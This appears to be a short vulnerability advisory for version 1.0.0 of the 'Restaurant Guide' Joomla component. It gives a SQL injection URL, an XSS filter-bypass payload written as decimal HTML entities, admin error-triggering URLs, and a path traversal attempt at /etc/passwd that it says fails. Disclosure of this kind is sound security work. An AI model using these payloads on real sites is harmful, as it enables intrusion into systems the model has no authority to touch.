>> Product information  
Name = Restaurant Guide  
Vendor = Oh-Taek Im  
Vendor Websites = http://www.photoindochina.com/, http://extensions.joomla.org/extensions/directory-a-documentation/thematic-directory/14054  
Affected Version(s) = 1.0.0  
  
  
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]  
>> SQL Injection  
index.php?option=com_restaurantguide&view=country&id='&Itemid=69  
(id parameter is vulnerable)  
  
  
>> HTML/JS/VBS Code Injection (all input fields, also in the admin backend)  
It is possible to inject HTML/JS/VBS code into the document although XSS filters are active. Simply end the current HTML tag and convert your code into decimal HTMl code without semicolons:  
">&#60&#65&#32&#72&#82&#69&#70&#61&#34&#104&#116&#116&#112&#58&#47&#47&#119&#119&#119&#46&#103&#111&#111&#103&#108&#101&#46&#99&#111&#109&#46&#47&#34&#62&#105&#110&#106&#101&#99&#116&#101&#100&#60&#47&#65&#62  
(which is "><A HREF="http://www.google.com./">injected</A>)  
The code doesn't get parsed, so it is not possible to exploit this weakness. However, including arbitrary plain text into the current website is possible. Dangerous! :D  
  
  
>> Interesting stuff  
a) Triggering various error messages in the admin panel is possible, e.g.:  
administrator/index.php?option=com_restaurantguide&controller=restaurantitems&task=edit&cid[]=[try ' or -1 or an ID which does not exist]  
Sometimes the code of the component gets displayed within the browser window when you try to trigger errors with different variables.  
  
b) Playing around with the controller variable  
administrator/index.php?option=com_restaurantguide&controller=../../../../../../../../../etc/passwd%00  
(NOT a LFI vulnerability since the controller classes are defined in the source code, you just get different error messages.. nothing to exploit here..)
